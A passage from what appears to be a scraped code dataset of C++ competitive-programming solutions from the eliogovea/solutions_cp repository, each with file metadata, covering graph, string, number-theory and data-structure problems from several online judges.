Codeforces Trainings Season 2 Episode 5 - 2009-2010 ACM-ICPC, NEERC, Southern Subregional Contest\n// 100503C\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 200000;\n\ntypedef long long ll;\n\nstruct arc{\n ll ind , a, b, r, c;\n arc(){}\n arc( ll indd, ll aa, ll bb, ll rr, ll cc ){\n ind = indd;\n a = aa;\n b = bb;\n r = rr;\n c = cc;\n }\n\n bool operator < ( const arc &o ) const {\n if( r != o.r ){\n return r > o.r;\n }\n return c > o.c;\n }\n}arcs[MAXN];\n\nint setof[MAXN];\nbool join( int u, int v ){\n int ju = u;\n while( setof[ju] > 0 ){\n ju = setof[ju];\n }\n\n int jv = v;\n while( setof[jv] > 0 ){\n jv = setof[jv];\n }\n\n if( ju == jv ){\n return false;\n }\n\n if( setof[ju] < setof[jv] ){\n setof[ju] += setof[jv];\n setof[jv] = ju;\n }\n else{\n setof[jv] += setof[ju];\n setof[ju] = jv;\n }\n\n return true;\n}\n\nint nums[MAXN];\n\nbool comp( const arc &x, const arc &y ){\n return x.c < y.c;\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n freopen(\"input.txt\",\"r\",stdin);\n freopen(\"output.txt\",\"w\",stdout);\n\n //freopen(\"in.txt\",\"r\",stdin);\n\n int n; cin >> n;\n\n int sz = 0;\n\n for( int i = 0; i < n; i++ ){\n arcs[i].ind = i+1;\n cin >> arcs[i].a >> arcs[i].b >> arcs[i].r >> arcs[i].c;\n nums[sz++] = arcs[i].a;\n nums[sz++] = arcs[i].b;\n }\n sort( nums, nums + sz );\n\n map<int,int> dic;\n int k = 0;\n for( int i = 0; i < sz; i++ ){\n if( i == 0 || nums[i] != nums[i-1] ){\n k++;\n }\n dic[ nums[i] ] = k;\n }\n\n fill( setof , setof + sz + 1 , -1 );\n\n ll sol = 0ll;\n\n sort( arcs , arcs + n );\n\n for( int i = 0; i < n; i++ ){\n int u = dic[ arcs[i].a ];\n int v = dic[ arcs[i].b ];\n\n if( join( u , v ) ){\n sol += arcs[i].c;\n }\n }\n\n cout << sol << '\\n';\n sort( arcs , arcs + n , comp );\n\n for( int i = 0; i < n; i++ ){\n if( i > 0 ){\n cout << ' ';\n }\n cout << arcs[i].ind;\n }\n cout << '\\n';\n}\n" }, { "alpha_fraction": 0.4106060564517975, "alphanum_fraction": 0.4121212065219879, "avg_line_length": 15.368420600891113, "blob_id": "984b2bb1d8d702ef84eba3fbc147e28f1d99bf95", "content_id": "b81c7dcba1d4838fe8334a0457b88ccd0d9c82fa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 660, "license_type": "no_license", "max_line_length": 41, "num_lines": 38, "path": "/COJ/eliogovea-cojAC/eliogovea-p2548-Accepted-s596528.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "/// Copa UNISS - G\r\n\r\n#include <iostream>\r\n#include <cstdio>\r\n#include <algorithm>\r\n#include <cmath>\r\n#include <queue>\r\n#include <vector>\r\n#include <map>\r\n#include <set>\r\n#include <cstring>\r\n\r\nusing namespace std;\r\n\r\n#define sf scanf\r\n#define pf printf\r\n#define ll long long\r\n\r\nint main(){\r\n ll p, g;\r\n while (scanf(\"%lld\", &p) && p)\r\n {\r\n scanf(\"%lld\", &g);\r\n bool b = true;\r\n ll r;\r\n while (g)\r\n {\r\n r = g % p;\r\n if (r > 1)\r\n {\r\n b = false;\r\n break;\r\n }\r\n g /= p;\r\n }\r\n printf(\"%s\\n\", b ? \"YES\" : \"NO\");\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.49965253472328186, "alphanum_fraction": 0.517720639705658, "avg_line_length": 15.540229797363281, "blob_id": "fd6cb2114d3859344e971e177c2c7bdfbc89d081", "content_id": "07eead07c19d339ce8ce1488867cdc5cd663eafd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1439, "license_type": "no_license", "max_line_length": 58, "num_lines": 87, "path": "/SPOJ/ADACLEAN.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n \nusing namespace std;\n \nconst int MAXS = 2 * 100000 + 1;\n \nint length[MAXS + 1];\nmap <char, int> next[MAXS + 1];\nint suffixLink[MAXS + 1];\n \nint size;\nint last;\n \nint getNew(int _length) {\n\tint now = size++;\n\tlength[now] = _length;\n\tnext[now] = map <char, int> ();\n\tsuffixLink[now] = -1;\n\treturn now;\n}\n \nint getClone(int from, int _length) {\n\tint now = size++;\n\tlength[now] = _length;\n\tnext[now] = next[from];\n\tsuffixLink[now] = suffixLink[from];\n\treturn now;\n}\n \nvoid init() {\n\tsize = 0;\n\tlast = getNew(0);\n}\n \nvoid add(int c) {\n\tint p = last;\n\tint cur = getNew(length[p] + 1);\n\twhile (p != -1 && next[p].find(c) == next[p].end()) {\n\t\tnext[p][c] = cur;\n\t\tp = suffixLink[p];\n\t}\n\tif (p == -1) {\n\t\tsuffixLink[cur] = 0;\n\t} else {\n\t\tint q = next[p][c];\n\t\tif (length[p] + 1 == length[q]) {\n\t\t\tsuffixLink[cur] = q;\n\t\t} else {\n\t\t\tint clone = getClone(q, length[p] + 1);\n\t\t\tsuffixLink[q] = clone;\n\t\t\tsuffixLink[cur] = clone;\n\t\t\twhile (p != -1 && next[p][c] == q) {\n\t\t\t\tnext[p][c] = clone;\n\t\t\t\tp = suffixLink[p];\n\t\t\t}\n\t\t}\n\t}\n\tlast = cur;\n}\n \nint t;\nint n, k;\nstring s;\n \nvoid solve() {\n\tcin >> t;\n\twhile (t--) {\n\t\tcin >> n >> k >> s;\n\t\tinit();\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tadd(s[i]);\n\t\t}\n\t\tint ans = 0;\n\t\tfor (int i = 1; i < size; i++) {\n\t\t\tif (length[suffixLink[i]] + 1 <= k && k <= length[i]) {\n\t\t\t\tans++;\n\t\t\t}\n\t\t}\n\t\tcout << ans << \"\\n\";\n\t}\n}\n \nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tsolve();\n}\n" }, { "alpha_fraction": 0.3982202410697937, "alphanum_fraction": 0.4271412789821625, "avg_line_length": 13.771929740905762, "blob_id": "9b9d125ac5c68a9d80497ebe7fe6c071c2fb7daf", "content_id": "8c6a775a1ba8b5c14b50b6a4f45eb8e24ddd9ce7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 899, "license_type": "no_license", "max_line_length": 42, "num_lines": 57, "path": "/COJ/eliogovea-cojAC/eliogovea-p3292-Accepted-s817866.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nconst ll mod = (1LL << 25LL) * 51LL + 1LL;\r\n\r\ninline ll power(ll x, ll n) {\r\n\tll res = 1;\r\n\twhile (n) {\r\n\t\tif (n & 1LL) {\r\n\t\t\tres = (res * x) % mod;\r\n\t\t}\r\n\t\tx = (x * x) % mod;\r\n\t\tn >>= 1LL;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\ninline ll inv(ll n) {\r\n\treturn power(n, mod - 2);\r\n}\r\n\r\nconst int N = 100000;\r\n\r\nll fact[N + 5];\r\n\r\nll f(int n, int m) {\r\n\tll a = fact[n];\r\n\ta = (a * m) % mod;\r\n\ta = (a * (m + 1LL)) % mod;\r\n\ta = (a * inv(2)) % mod;\r\n\ta = (a * inv(n - m + 1)) % mod;\r\n\treturn a;\r\n}\r\n\r\nint n;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tfact[0] = 1;\r\n\tfor (int i = 1; i <= N; i++) {\r\n\t\tfact[i] = (fact[i - 1] * i) % mod;\r\n\t}\r\n\twhile (cin >> n) {\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tcout << f(n, i);\r\n\t\t\tif (i < n) {\r\n\t\t\t\tcout << \" \";\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.404558390378952, "alphanum_fraction": 0.43589743971824646, "avg_line_length": 16.972972869873047, "blob_id": "09beaab63164cbc6e6451a94c57017365616faa0", "content_id": "d1ac442f80029999a2ae65fd8ff495b8ca3e39d3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 702, "license_type": "no_license", "max_line_length": 41, "num_lines": 37, "path": "/COJ/eliogovea-cojAC/eliogovea-p2291-Accepted-s632032.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\nusing namespace std;\r\n\r\nconst int MAXN = 1e7;\r\n\r\nconst int xmov[] = {0, 1, 0, -1};\r\nconst int ymov[] = {1, 0, -1, 0};\r\n\r\nint x[MAXN], y[MAXN];\r\nbool criba[MAXN + 5];\r\n\r\nvoid Criba() {\r\n\tcriba[0] = criba[1] = 1;\r\n\tfor (int i = 2; i * i <= MAXN; i++)\r\n\t\tif (!criba[i])\r\n\t\t\tfor (int j = i * i; j <= MAXN; j += i)\r\n\t\t\t\tcriba[j] = 1;\r\n}\r\n\r\nint tc, n;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\tCriba();\r\n\tint d = 0;\r\n\tfor (int i = 1; i <= MAXN; i++) {\r\n\t\tx[i] = x[i - 1] + xmov[d];\r\n\t\ty[i] = y[i - 1] + ymov[d];\r\n\t\tif (!criba[i]) d = (d + 1) % 4;\r\n\t}\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n\t\tcin >> n;\r\n\t\tcout << x[n] << ' ' << y[n] << '\\n';\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4133949279785156, "alphanum_fraction": 0.443418025970459, "avg_line_length": 16.826086044311523, "blob_id": "b477d231131ea3926e6e9ff13bfe2b83011db11b", "content_id": "2d2ead856ea555396e426c70b9d9af76a513fa80", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 433, "license_type": "no_license", "max_line_length": 44, "num_lines": 23, "path": "/COJ/eliogovea-cojAC/eliogovea-p2171-Accepted-s629384.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\nusing namespace std;\r\n\r\nconst int MAXN = 1000000;\r\n\r\nvoid maxi(int a, int &b) {if (a > b) b = a;}\r\n\r\nint n, a[MAXN + 5], b, e, sol;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin >> n;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> b >> e;\r\n\t\ta[b]++;\r\n\t\ta[e + 1]--;\r\n\t}\r\n\tfor (int i = 1; i <= MAXN; i++)\r\n\t\ta[i] += a[i - 1];\r\n\tfor (int i = 1; i <= MAXN; i++)\r\n\t\tmaxi(a[i], sol);\r\n\tcout << sol << '\\n';\r\n}\r\n" }, { "alpha_fraction": 0.364604115486145, "alphanum_fraction": 0.42914173007011414, "avg_line_length": 17.519479751586914, "blob_id": "fde49272dd6e00dabeadbc3eb41761bd024803a3", "content_id": "14c9f1f260552098dc8709984fe63135c3f24799", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1503, "license_type": "no_license", "max_line_length": 55, "num_lines": 77, "path": "/COJ/eliogovea-cojAC/eliogovea-p3692-Accepted-s995050.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 1000000;\r\n\r\nint digitsSum[N];\r\n\r\nint best[65];\r\n\r\ninline string intToString(int n) {\r\n\tif (n == 0) {\r\n\t\treturn \"0\";\r\n\t}\r\n\tstring res;\r\n\twhile (n) {\r\n\t\tres += '0' + (n % 10);\r\n\t\tn /= 10;\r\n\t}\r\n\treverse(res.begin(), res.end());\r\n\treturn res;\r\n}\r\n\r\nstring solve(int s) {\r\n\tif (s < 60 && best[s] != -1) {\r\n\t\treturn intToString(best[s]);\r\n\t}\r\n\tif (best[s % 18] != -1) {\r\n\t\tstring ans = \"\";\r\n\t\tif (s % 18 != 0) {\r\n ans = intToString(best[s % 18]);\r\n\t\t}\r\n\t\tint c9 = 2 * (s / 18);\r\n\t\tfor (int i = 0; i < c9; i++) {\r\n\t\t\tans += \"9\";\r\n\t\t}\r\n\t\treturn ans;\r\n\t}\r\n\tif (s > 18 && best[18 + ((s - 18) % 18)] != -1) {\r\n\t\tstring ans = intToString(best[18 + ((s - 18) % 18)]);\r\n\t\tint c9 = 2 * ((s - 18) / 18);\r\n\t\tfor (int i = 0; i < c9; i++) {\r\n\t\t\tans += \"9\";\r\n\t\t}\r\n\t\treturn ans;\r\n\t}\r\n\tif (s > 36 && best[36 + ((s - 36) % 18)] != -1) {\r\n\t\tstring ans = intToString(best[36 + ((s - 36) % 18)]);\r\n\t\tint c9 = 2 * ((s - 36) / 18);\r\n\t\tfor (int i = 0; i < c9; i++) {\r\n\t\t\tans += \"9\";\r\n\t\t}\r\n\t\treturn ans;\r\n\t}\r\n\treturn \"-1\";\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tfor (int i = 1; i < N; i++) {\r\n\t\tdigitsSum[i] = digitsSum[i / 10] + (i % 10);\r\n\t}\r\n\tfor (int i = 0; i < 60; i++) {\r\n\t\tbest[i] = -1;\r\n\t}\r\n\tfor (int i = 0; i < N; i += 11) {\r\n\t if (best[digitsSum[i]] == -1) {\r\n best[digitsSum[i]] = i;\r\n\t }\r\n\t}\r\n\tint s;\r\n\twhile (cin >> s && s) {\r\n\t\tcout << solve(s) << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3973727524280548, "alphanum_fraction": 0.4209086000919342, "avg_line_length": 14.090909004211426, "blob_id": "68415eef9adc7b51b146cc825040eab17323b9fa", "content_id": "d9f1f479d7d0a55b80d3a912331b804710f44cac", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1827, "license_type": "no_license", "max_line_length": 80, "num_lines": 121, "path": "/Codechef/PRMQ.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nstruct BIT {\n\tint n;\n\tvector <int> t;\n\n\tBIT() {}\n\tBIT(int _n) {\n\t\tn = _n;\n\t\tt = vector <int> (n + 1, 0);\n\t}\n\n\tvoid update(int p, int v) {\n\t\twhile (p <= n) {\n\t\t\tt[p] += v;\n\t\t\tp += p & -p;\n\t\t}\n\t}\n\n\tint query(int p) {\n\t\tint res = 0;\n\t\twhile (p > 0) {\n\t\t\tres += t[p];\n\t\t\tp -= p & -p;\n\t\t}\n\t\treturn res;\n\t}\n\tint query(int l, int r) {\n return query(r) - query(l - 1);\n\t}\n};\n\nstruct query {\n\tint id;\n\tint x, y;\n\tbool end;\n\tquery() {}\n\tquery(int _id, int _x, int _y, bool _end) : id(_id), x(_x), y(_y), end(_end) {}\n};\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n\tconst int N = 1000 * 1000;\n\tvector <int> maxPrime(N + 1);\n\tfor (int i = 2; i <= N; i++) {\n\t\tif (maxPrime[i] == 0) {\n\t\t\tfor (int j = i; j <= N; j += i) {\n\t\t\t\tmaxPrime[j] = i;\n\t\t\t}\n\t\t}\n\t}\n\n\tBIT bit(N);\n\n\tint n;\n\tcin >> n;\n\tvector <int> a(n);\n\n\tfor (int i = 0; i < n; i++) {\n\t\tcin >> a[i];\n\t}\n\n\tint q;\n\tcin >> q;\n\n\tvector <vector <query> > b(n);\n\tfor (int i = 0; i < q; i++) {\n\t\tint l, r, x, y;\n\t\tcin >> l >> r >> x >> y;\n\t\tl--;\n\t\tr--;\n\n\t\tif (l != 0) {\n\t\t\tb[l - 1].push_back(query(i, x, y, false));\n\t\t}\n\t\tb[r].push_back(query(i, x, y, true));\n\t}\n\n\tvector <int> answer(n);\n\n\tfor (int i = 0; i < n; i++) {\n\t\tint val = a[i];\n\t\t// cerr << \"-->>> \" << i << \" \" << val << \"\\n\";\n\t\twhile (val != 1) {\n\t\t\tint p = maxPrime[val];\n\t\t\tint e = 0;\n\t\t\twhile (val != 1 && maxPrime[val] == p) {\n\t\t\t\te++;\n\t\t\t\tval /= p;\n\t\t\t}\n\t\t\t// cerr << \"update: \" << i << \" \" << p << \" \" << e << \"\\n\";\n\t\t\tbit.update(p, e);\n\t\t}\n\t\tfor (int j = 0; j < b[i].size(); j++) {\n\t\t\tif (b[i][j].end) {\n\t\t\t\tanswer[b[i][j].id] += bit.query(b[i][j].x, b[i][j].y);\n\t\t\t} else {\n\t\t\t\tanswer[b[i][j].id] -= bit.query(b[i][j].x, b[i][j].y);\n\t\t\t}\n\t\t}\n\t}\n\n\tfor (int i = 0; i < q; i++) {\n\t\tcout << answer[i] << \"\\n\";\n\t}\n}\n\n/*\n4\n2 3 4 5\n2\n1 3 2 3\n1 4 2 5\n\n4\n5\n*/\n\n" }, { "alpha_fraction": 0.37939491868019104, "alphanum_fraction": 0.4521667957305908, "avg_line_length": 16.25373077392578, "blob_id": "17fbd436aeac2f3999f46062a55657437f4ed05a", "content_id": "af842c79346faca99f2be1dc8c064ad1c422ab16", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1223, "license_type": "no_license", "max_line_length": 43, "num_lines": 67, "path": "/COJ/eliogovea-cojAC/eliogovea-p3304-Accepted-s922538.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long LL;\r\n\r\nconst LL M = 1000000007;\r\n\r\ninline LL mul(LL a, LL b, LL MOD) {\r\n\treturn a * b % MOD;\r\n}\r\n\r\nconst int N = 1000005;\r\n\r\nLL f1[N], f2[N], f3[N];\r\n\r\ninline LL power(LL x, LL n, const LL MOD) {\r\n\tLL res = 1;\r\n\twhile (n) {\r\n\t\tif (n & 1) {\r\n\t\t\tres = mul(res, x, MOD);\r\n\t\t}\r\n\t\tx = mul(x, x, MOD);\r\n\t\tn >>= 1;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nconst LL M1 = (M - 1) / 2;\r\nconst LL M2 = 2;\r\nconst LL M1i = power(M2, M1 - 2, M1);\r\nconst LL M2i = 1;\r\n\r\nLL solve(LL a, LL b, LL c) {\r\n\tLL v1 = power(f2[b], f3[c], M1);\r\n\tLL v2 = 1LL;\r\n\tif (b > 1LL) {\r\n\t\tv2 = 0LL;\r\n\t}\r\n LL e1 = mul(M2, M1i, M - 1LL);\r\n e1 = mul(e1, v1, M - 1LL);\r\n LL e2 = mul(M1, M2i, M - 1LL);\r\n e2 = mul(e2, v2, M - 1);\r\n LL e = (e1 + e2) % (M - 1LL);\r\n\treturn power(f1[a], e1 + e2, M);\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tf1[0] = 1;\r\n\tf2[0] = 1;\r\n\tf3[0] = 1;\r\n\tfor (int i = 1; i < N; i++) {\r\n\t\tf1[i] = mul(f1[i - 1], i, M);\r\n\t\tf2[i] = mul(f2[i - 1], i, M1);\r\n\t\tf3[i] = mul(f3[i - 1], i, M1 - 1);\r\n\t}\r\n\tint t;\r\n\tint a, b, c;\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> a >> b >> c;\r\n\t\tcout << solve(a, b, c) << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.28486764430999756, "alphanum_fraction": 0.3109442889690399, "avg_line_length": 22.435184478759766, "blob_id": "d96f980a0b19f86d7cb72d74a77f2c9408b7bd8e", "content_id": "7e2b4c33790758a3822690a7e9d92f38cb2c2585", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2531, "license_type": "no_license", "max_line_length": 87, "num_lines": 108, "path": "/Codeforces-Gym/100861 - 2008-2009 ACM-ICPC, NEERC, Moscow Subregional Contest/H.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2008-2009 ACM-ICPC, NEERC, Moscow Subregional Contest\n// 100861H\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 80;\nconst long long INF = 1e15;\n\nint n, m;\nlong long g[N][N];\nlong long ng[N][N];\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n\n // freopen(\"dat.txt\", \"r\", stdin);\n\n cin >> n >> m;\n for (int i = 0; i < n; i++) {\n for (int j = 0; j < n; j++) {\n g[i][j] = INF;\n }\n g[i][i] = 0;\n }\n\n for (int i = 0; i < m; i++) {\n int x, y;\n long long t;\n cin >> x >> y >> t;\n x--;\n y--;\n g[x][y] = g[y][x] = min(g[x][y], t);\n }\n\n for (int k = 0; k < n; k++) {\n for (int i = 0; i < n; i++) {\n for (int j = 0; j < n; j++) {\n g[i][j] = min(g[i][j], g[i][k] + g[k][j]);\n }\n }\n }\n\n long long bfg0 = 0;\n for (int x = 0; x < n; x++) {\n for (int y = 0; y < n; y++) {\n bfg0 = max(bfg0, g[x][y]);\n }\n }\n\n // cerr << \"bfg0: \" << bfg0 << \"\\n\";\n\n long long ans_bfg = bfg0;\n long long ans_time = -1;\n\n for (int u = 0; u < n; u++) {\n for (int v = u + 1; v < n; v++) {\n long long bfg = 0;\n for (int x = 0; x < n; x++) {\n for (int y = 0; y < n; y++) {\n ng[x][y] = min(g[x][y], min(g[x][u] + g[v][y], g[x][v] + g[u][y]));\n bfg = max(bfg, ng[x][y]);\n }\n }\n\n if (bfg == INF) {\n continue;\n }\n\n if (bfg > ans_bfg) {\n continue;\n }\n\n // cerr << u << \" \" << v << \" \" << bfg << \"\\n\";\n\n long long t = INF;\n for (int x = 0; x < n; x++) {\n for (int y = 0; y < n; y++) {\n if (g[x][y] <= bfg) {\n continue;\n }\n long long d = bfg - min(g[x][u] + g[v][y], g[x][v] + g[u][y]);\n // cerr << \"!!!!!!! \" << x << \" \" << y << \" \" << d << \"\\n\";\n t = min(t, d);\n }\n }\n\n if (bfg < ans_bfg || (bfg == ans_bfg && t > ans_time)) {\n ans_bfg = bfg;\n ans_time = t;\n }\n }\n }\n\n if (ans_bfg == INF) {\n cout << \"-1.00000 \";\n } else {\n cout << ans_bfg << \".00000 \";\n }\n if (ans_time == INF) {\n cout << \"-1.00000\";\n } else {\n cout << ans_time << \".00000\";\n }\n cout << \"\\n\";\n}\n" }, { "alpha_fraction": 0.3446447551250458, "alphanum_fraction": 0.41887593269348145, "avg_line_length": 15.199999809265137, "blob_id": "a73505a15e8b66d105cda8ee9a58da959d6fcf68", "content_id": "bab692178848bff8bb47a269414d7db4602fbc77", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 943, "license_type": "no_license", "max_line_length": 50, "num_lines": 55, "path": "/Timus/1586-6676245.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1586\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MOD = 1e9 + 9;\r\n\r\ninline void add(int &a, int b) {\r\n\ta += b;\r\n\tif (a >= MOD) a -= MOD;\r\n}\r\n\r\nint n;\r\n\r\nint dp[105][10005];\r\n\r\nbool criba[1005];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tfor (int i = 2; i < 1000; i++) {\r\n\t\tif (!criba[i]) {\r\n\t\t\tfor (int j = i + i; j < 1000; j += i) {\r\n\t\t\t\tcriba[j] = true;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tcriba[0] = criba[1] = true;\r\n\tcin >> n;\r\n\tfor (int i = 100; i < 1000; i++) {\r\n\t\tif (!criba[i]) {\r\n\t\t\tadd(dp[i % 100][3], 1);\r\n\t\t}\r\n\t}\r\n\tfor (int i = 3; i < n; i++) {\r\n\t\tfor (int j = 0; j < 100; j++) {\r\n\t\t\tfor (int k = 1; k < 10; k += 2) {\r\n\t\t\t\tif (10 * j + k >= 100) {\r\n\t\t\t\t\tif (!criba[10 * j + k]) {\r\n\t\t\t\t\t\tadd(dp[10 * (j % 10) + k][i + 1], dp[j][i]);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tint ans = 0;\r\n\tfor (int i = 0; i < 100; i++) {\r\n\t\tadd(ans, dp[i][n]);\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.4142204821109772, "alphanum_fraction": 0.444227010011673, "avg_line_length": 15.835165023803711, "blob_id": "9a02a087594c28e117ad856738ca0a2844efaeeb", "content_id": "e994f49a8afc03542b48390b2b1d3d46a6d0cdbf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1533, "license_type": "no_license", "max_line_length": 72, "num_lines": 91, "path": "/SPOJ/DQUERY.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n \nusing namespace std;\n \nconst int N = 300005;\nconst int MAX = 1000005;\n \nint n, a[N];\n \nstruct Query {\n\tint b, e, id;\n};\n \nbool operator < (const Query &aa, const Query &bb) {\n\tif (aa.e != bb.e) {\n\t\treturn aa.e < bb.e;\n\t}\n\treturn aa.b < bb.b;\n}\n \nint nq;\nvector<Query> Q;\nQuery qq;\nint ans[N];\nint last[MAX];\n \nint T[4 * MAX];\n \nvoid update(int x, int l, int r, int p, int v) {\n\tif (p < l || p > r) {\n\t\treturn;\n\t}\n\tif (l == r) {\n\t\tT[x] = v;\n\t} else {\n\t\tint m = (l + r) >> 1;\n\t\tupdate(2 * x, l, m, p, v);\n\t\tupdate(2 * x + 1, m + 1, r, p, v);\n\t\tT[x] = T[2 * x] + T[2 * x + 1];\n\t}\n}\n \nint query(int x, int l, int r, int ql, int qr) {\n\tif (l > qr || r < ql) {\n\t\treturn 0;\n\t}\n\tif (l >= ql && r <= qr) {\n\t\treturn T[x];\n\t}\n\tint m = (l + r) >> 1;\n\treturn query(2 * x, l, m, ql, qr) + query(2 * x + 1, m + 1, r, ql, qr);\n}\n \nint main() {\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tios::sync_with_stdio(0);\n\tcin.tie(0);\n\tcin >> n;\n\tfor (int i = 1; i <= n; i++) {\n\t\tcin >> a[i];\n\t\tqq.b = -1;\n\t\tqq.e = i;\n\t\tqq.id = -1;\n\t\tQ.push_back(qq);\n\t}\n\tcin >> nq;\n\tfor (int i = 1, a, b; i <= nq; i++) {\n\t\tcin >> a >> b;\n\t\tqq.b = a;\n\t\tqq.e = b;\n\t\tqq.id = i;\n\t\tQ.push_back(qq);\n \n\t}\n\tsort(Q.begin(), Q.end());\n\tfor (int i = 0; i < Q.size(); i++) {\n\t\tif (Q[i].b == -1) {\n\t\t\tint x = a[Q[i].e];\n\t\t\tif (last[x] != 0) {\n\t\t\t\tupdate(1, 1, n, last[x], 0);\n\t\t\t}\n\t\t\tlast[x] = Q[i].e;\n\t\t\tupdate(1, 1, n, last[x], 1);\n\t\t} else {\n\t\t\tans[Q[i].id] = query(1, 1, n, Q[i].b, Q[i].e);\n\t\t}\n\t}\n\tfor (int i = 1; i <= nq; i++) {\n\t\tcout << ans[i] << \"\\n\";\n\t}\n} \n" }, { "alpha_fraction": 0.5109780430793762, "alphanum_fraction": 0.5329341292381287, "avg_line_length": 21.85714340209961, "blob_id": "3c47c7a761e4c50fc78c8b4c5d009a9e5f16eae4", "content_id": "c0b155dc05b5b2de7b4a5ee337a1de8c5633771d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 501, "license_type": "no_license", "max_line_length": 67, "num_lines": 21, "path": "/COJ/eliogovea-cojAC/eliogovea-p3424-Accepted-s909786.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcout.precision(10);\r\n\tint t;\r\n\tlong double l, a;\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> l >> a;\r\n a = a * M_PI / (long double)180.0;\r\n\t\tlong double r = l * tan(a / (long double)2.0) / (long double)2.0;\r\n\t\tlong double x = M_PI - a;\r\n\t\tlong double total = (long double)M_PI * l * r / x;\r\n\t\tlong double circle = M_PI * r * r;\r\n\t\tcout << fixed << double(total - circle) << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3815113604068756, "alphanum_fraction": 0.4152604639530182, "avg_line_length": 16.93055534362793, "blob_id": "733eb4425b8587d646e3e4c1ab18b8e86f371975", "content_id": "4060023db74decd3a1268e173cdcb4feda45d2df", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1363, "license_type": "no_license", "max_line_length": 61, "num_lines": 72, "path": "/COJ/eliogovea-cojAC/eliogovea-p3794-Accepted-s1120094.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MOD = 1000 * 1000 * 1000 